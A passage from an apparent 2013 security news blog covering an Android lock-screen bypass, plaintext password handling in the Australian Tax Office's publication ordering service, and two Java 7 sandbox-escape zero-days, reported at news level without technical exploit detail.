Eden tested the bypass on a Galaxy Note II N7100 running Android version 4.1.2. One of the devices was running on a factory install, while the other was rooted and both ran the default launcher and screen lock.

Users with affected devices can protect their personal data by not installing direct dial widgets on the home screen, removing calendar, email, and other widgets, making sure that there are no applications that automatically charge money upon launch or act maliciously in some other way on the home screen, and by establishing app-specific passwords for certain apps, according to Eden.

ATO (Australian Tax Office) passwords stored in clear text

2013-03-06T19:19:00.000+05:30

SC Magazine Reveals: - Passwords of thousands of business customers of the Australian Tax Office are stored in clear text.

The ATO Publications Ordering Service (POS) is the service you need to use to get paper copies of various tax forms. Many individuals won’t need to interact with it (you don’t need it for e-tax) but if you file a tax return for a company or trust, this is where you get the forms. You’re directed to the POS from the ATO’s website. For some reason it doesn't have a .gov.au domain, but it does bear our government’s name, coat of arms, and copyright assertion. It’s apparently run from “commercial web hosting facilities”.

The POS requires creation of an account before you can order documents, authenticated by an email address and a password.

The ATO discovered the tax practice after software developer Alex North noted that the office's Publications Ordering Service (POS) — hosted and operated by a third party — had emailed plain text passwords as part of its account recovery service.

Sydney software engineer Alex North discovered the password gaffe after he noticed the POS had sent plain text passwords via email as part of its account recovery process.

He complains to the ATO it opened users to account compromise, including the possibility credentials could be stolen during man in the middle attacks. Any user who logged into the service over open wireless networks, for example, could have their passwords intercepted.

But North was reportedly told by an unnamed ATO staffer that the recovery process was standard practice and, erroneously, that usernames could not be gleaned by attackers.

The email address used in the recovery process served as a username and also revealed the website where the credentials were used.

"We currently use the most commonly adopted methods of password recovery," the ATO respondent reportedly said.

Zero-Day Flaws in Java Re-Emerge

2013-02-27T16:25:00.000+05:30

Two new security flaws have been detected in the latest version of Java 7 (Update 15) by security researchers at Polish company Security Explorations.

A Polish security firm 'Security Explorations' reported two new Java zero-day vulnerabilities, as “issue 54” and “issue 55,” with proof of concept code to Oracle.

According to their account, the security issues dubbed “issue 54” and “issue 55” can be combined to bypass the Java sandbox and execute privileged arbitrary code from an untrusted source. Although the flaws were discovered before they got exploited in the wild, cyber-criminals may start using them before an official fix becomes available.

“Both new issues are specific to Java SE 7 only. They allow abusing the Reflection API in a particularly interesting way,” Security Explorations CEO Adam Gowdiak told Softpedia. “Without going into further details, everything indicates that the ball is in Oracle’s court again.”

According to the specialists at Security Explorations, the exploitation mechanism has been confirmed to work with the first version of Java 7, Java 7 u11, and the latest version available, Java 7 u15. Both issues have been documented and delivered to Oracle along with proof-of-concept code.

Security experts generally advise users to disable the Java browser plugin, which was exploited in recent targeted attacks on developers at Facebook, Apple and Microsoft.

Java has faced an increasing number of zero-day vulnerabilities, bugs that are exploited by criminals before those flaws are patched, or even known by the vendor.

Gowdiak confirmed that these newest vulnerabilities can be combined to circumvent Java's anti-exploit sandbox technology and used to attack machines whose browsers have the Java plug-in installed.